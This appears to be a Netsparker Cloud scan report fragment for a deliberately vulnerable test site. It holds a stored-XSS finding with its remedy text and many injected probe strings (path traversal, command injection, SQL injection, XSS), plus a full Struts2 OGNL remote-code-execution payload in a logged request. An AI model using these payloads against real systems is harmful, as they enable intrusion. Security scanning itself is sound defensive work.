\r\n

c%3a%5cboot.ini

\r\n

\r\n 8/23/2017 8:06:33 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

&ping -c 25 127.0.0.1 &

\r\n

\r\n 8/23/2017 8:06:33 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

file%3a%2fboot.ini

\r\n

\r\n 8/23/2017 8:06:33 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

'&ping -c 25 127.0.0.1 &'

\r\n

\r\n 8/23/2017 8:06:33 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fboot.ini

\r\n

\r\n 8/23/2017 8:06:33 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

\"&ping -c 25 127.0.0.1 &\"

\r\n

\r\n 8/23/2017 8:06:33 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:33 AM\r\n

\r\n

\r\n & SET /A 0xFFF9999-2 &\r\n

\r\n
\r\n

ns../../../../../../../../../../../boot.ini.......................................................................................................................................................................................

\r\n

\r\n 8/23/2017 8:06:32 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

\"+netsparker(0x003D83)+\"

\r\n

\r\n 8/23/2017 8:06:32 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

c:\\boot.ini

\r\n

\r\n 8/23/2017 8:06:32 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

ping -n 25 127.0.0.1 &

\r\n

\r\n 8/23/2017 8:06:32 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

file:/boot.ini

\r\n

\r\n 8/23/2017 8:06:32 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:32 AM\r\n

\r\n

\r\n '& SET /A 0xFFF9999-2 &\r\n

\r\n
\r\n

/../../../../../../../../../../boot.ini

\r\n

\r\n 8/23/2017 8:06:32 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

/../../../../../../../../../../boot.ini\u0000.aspx

\r\n

\r\n 8/23/2017 8:06:31 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

/../../../../../../../../../../boot.ini

\r\n

\r\n 8/23/2017 8:06:31 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:29 AM\r\n

\r\n

\r\n \"& SET /A 0xFFF9999-2 &\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:29 AM\r\n

\r\n

\r\n ' OR 1=1 OR '1'='1\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:29 AM\r\n

\r\n

\r\n ' OR 1=1 OR '1'='1\r\n

\r\n
\r\n

'+netsparker(0x003D81)+'

\r\n

\r\n 8/23/2017 8:06:29 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

& ping -n 25 127.0.0.1 &

\r\n

\r\n 8/23/2017 8:06:29 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

*/netsparker(0x003D7F);/*

\r\n

\r\n 8/23/2017 8:06:29 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

'& ping -n 25 127.0.0.1 &

\r\n

\r\n 8/23/2017 8:06:29 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:28 AM\r\n

\r\n

\r\n OR X='ss\r\n

\r\n
\r\n

\"& ping -n 25 127.0.0.1 &

\r\n

\r\n 8/23/2017 8:06:28 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

body{x:expression(netsparker(0x003D7D))}

\r\n

\r\n 8/23/2017 8:06:28 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:28 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

n;ns:expression(netsparker(0x003D7B));

\r\n

\r\n 8/23/2017 8:06:28 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:27 AM\r\n

\r\n

\r\n '+convert(int, cast(0x5f21403264696c656d6d61 as varchar(8000)))+'\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:27 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:27 AM\r\n

\r\n

\r\n 1 OR 17-7=10\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:27 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:27 AM\r\n

\r\n

\r\n ' OR 1=1 OR 'ns'='ns\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:26 AM\r\n

\r\n

\r\n '||CTXSYS.DRITHSX.SN(user,(select chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97) from DUAL))||'\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:26 AM\r\n

\r\n

\r\n AND 'NS='ss\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:26 AM\r\n

\r\n

\r\n NS\r\nNO\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:26 AM\r\n

\r\n

\r\n '\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:26 AM\r\n

\r\n

\r\n 1 OR 1=1\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:26 AM\r\n

\r\n

\r\n 1 OR 1=1\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:25 AM\r\n

\r\n

\r\n ' OR 1=1 OR '1'='1\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:25 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

<%a style=x:expre/**/ssion(netsparker(0x003D79))>

\r\n

\r\n 8/23/2017 8:06:25 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:25 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:24 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:24 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:23 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:23 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:22 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

\r\n

\r\n 8/23/2017 8:06:22 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:22 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:22 AM\r\n

\r\n

\r\n ' OR 1=1 OR '1'='1\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:22 AM\r\n

\r\n

\r\n OR X='ss\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:21 AM\r\n

\r\n

\r\n 1 OR 17-7=10\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:21 AM\r\n

\r\n

\r\n (length(CTXSYS.DRITHSX.SN(user,(select chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97) from DUAL))))\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:20 AM\r\n

\r\n

\r\n 1 procedure analyse(extractvalue(rand(),concat(0x3a,CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)))),1)-- 1\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:20 AM\r\n

\r\n

\r\n -1\\'+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))-- 1\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:19 AM\r\n

\r\n

\r\n -1'+(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+'\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:19 AM\r\n

\r\n

\r\n (SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:18 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

javascript:netsparker(0x003D75)

\r\n

\r\n 8/23/2017 8:06:18 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:18 AM\r\n

\r\n

\r\n '+NSFTW+'\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:18 AM\r\n

\r\n

\r\n ' OR 1=1 OR 'ns'='ns\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:18 AM\r\n

\r\n

\r\n AND 'NS='ss\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:18 AM\r\n

\r\n

\r\n NS\r\nNO\r\n

\r\n
\r\n

\r\n

\r\n 8/23/2017 8:06:18 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

|expr${IFS}268409241${IFS}-${IFS}2

\r\n

\r\n 8/23/2017 8:06:17 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:17 AM\r\n

\r\n

\r\n '\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:17 AM\r\n

\r\n

\r\n 1 OR 1=1\r\n

\r\n
\r\n

\">

\r\n

\r\n 8/23/2017 8:06:17 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

'>

\r\n

\r\n 8/23/2017 8:06:17 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

//r87.com/n/j/?0x003D6E

\r\n

\r\n 8/23/2017 8:06:16 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n\t\t\t\t\r\n\t\t\t\t\t\r\n\t\t\t\t\r\n\t\t\t
12
\r\n
\r\n\r\n\r\n
\r\n
\r\n \r\n \r\n\r\n
\r\n
\r\n
\r\n \r\n \r\n
\r\n
\r\n
\r\n \r\n\r\n

Bitcoin Foundation.

\r\n
\r\n
\r\n \r\n \r\n
\r\n\r\n\r\n"},"ExtraInformation":[{"Name":"Injection URL","Value":"http://testsparker.com/administrator/trace.axd/%22ns=%22netsparker(0x002A8D)"}],"KnownVulnerabilities":[],"Description":"

Netsparker Cloud identified stored cross-site scripting, and confirmed this vulnerability by analyzing the execution of injected JavaScript.

Stored XSS allows an attacker to execute dynamic scripts (JavaScript, VBScript) in the context of the application. This allows several different attack opportunities, mostly hijacking the current session of the user or changing the look of the page by changing the HTML on the fly, to steal the user's credentials. This happens because the input entered by the user has been interpreted by HTML/JavaScript/VBScript within the browser.

\"Stored\" means that the attack will be stored in the backend system. In normal XSS attacks, an attacker needs to e-mail the victim, but in a stored XSS an attacker can just execute the attack and wait for users to see the affected page. As soon as someone visits the page, the attacker's stored payload will get executed.

XSS targets the users of the application instead of the server. Although this is a limitation, since it only allows attackers to hijack other users' sessions, the attacker might attack an administrator to gain full control over the application.

","Impact":"
Stored XSS is a dangerous issue that has many exploitation vectors, some of which include:
  • User's session-sensitive information, such as cookies, can be stolen.
  • XSS can enable client-side worms, which could modify, delete or steal other users' data within the application.
  • The website can be redirected to a new location, defaced or used as a phishing site.
","RemedialActions":"","ExploitationSkills":"","RemedialProcedure":"

The issue occurs because the browser interprets the input as active HTML, JavaScript or VBScript. To avoid this, all input and output from the application should be filtered. Output should be filtered according to the output format and location. Typically the output location is HTML. Where the output is HTML, ensure all active content is removed prior to its presentation to the server.

Prior to sanitizing user input, ensure you have a pre-defined list of both expected and acceptable characters with which you populate a whitelist. This list needs only be defined once and should be used to sanitize and validate all subsequent input.

There are a number of pre-defined, well structured whitelist libraries available for many different environments; good examples of these include the OWASP Reform and Microsoft Anti cross-site scripting libraries.

","RemedyReferences":"","ExternalReferences":"","ProofOfConcept":""},{"Url":"http://testsparker.com/GuestbookList.aspx","Type":"PermanentXss","Name":"Stored Cross-site Scripting","Severity":"Important","Certainty":100,"Confirmed":true,"State":"Present","Classification":{"Owasp":"A3","Wasc":"8","Cwe":"79","Capec":"19","Pci31":"6.5.7","Pci32":"6.5.7","Hipaa":"164.308(a)"},"HttpRequest":{"Method":"POST","Content":"POST /GuestbookList.aspx HTTP/1.1\r\nHost: testsparker.com\r\nCache-Control: no-cache\r\nAccept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.16 Safari/537.36\r\nAccept-Language: en-us,en;q=0.5\r\nX-Scanner: Netsparker Cloud\r\nCookie: ASP.NET_SessionId=5nhgkucnjqxu5wn4cybrnayt; TestCookie=Hello\r\nExpect: 100-continue\r\nAccept-Encoding: gzip, deflate\r\nContent-Length: 1880\r\nContent-Type: multipart/form-data; boundary=b8130d6d0a7043ee82681a3eeb983cbe\r\n\r\n--b8130d6d0a7043ee82681a3eeb983cbe\r\nContent-Disposition: form-data; name=\"ns\"; filename=\"%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='22').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c','SET /A 0xFFF9999 -' + #cmd}:{'/bin/bash','-c','expr 268409241 - ' + #cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}\u0000b\"\r\nContent-Type: application/octet-stream\r\n\r\n%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='22').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c','SET /A 0xFFF9999 -' + #cmd}:{'/bin/bash','-c','expr 268409241 - ' + #cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}\u0000b\r\n--b8130d6d0a7043ee82681a3eeb983cbe--\r\n","Parameters":[{"Name":"ns","Type":"Post","Value":"%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='22').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c','SET /A 0xFFF9999 -' + #cmd}:{'/bin/bash','-c','expr 268409241 - ' + #cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}\u0000b","Vulnerable":true}]},"HttpResponse":{"StatusCode":200,"Duration":2473.0514000000003,"Content":"HTTP/1.1 200 OK\r\nServer: Microsoft-IIS/8.5\r\nX-Powered-By: ASP.NET\r\nX-AspNet-Version: 4.0.30319\r\nContent-Length: 813686\r\nContent-Type: text/html; charset=utf-8\r\nDate: Wed, 23 Aug 2017 08:09:47 GMT\r\nCache-Control: private\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\tBitcoin Web Site\r\n\r\n \r\n \r\n\r\n
\r\n
\r\n\r\n\r\n\r\n
\r\n\r\n\r\n\r\n\r\n
\r\n\r\n\t\r\n\t\r\n\t\r\n
\r\n
\r\n
\r\n \r\n \r\n

Please, Login

\r\n \r\n Bitcoin Web Site\r\n \r\n \r\n\r\n
\r\n
\r\n
\r\n
\r\n \r\n \r\n \r\n\r\n

Last Comments

\r\n\r\n
\r\n\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\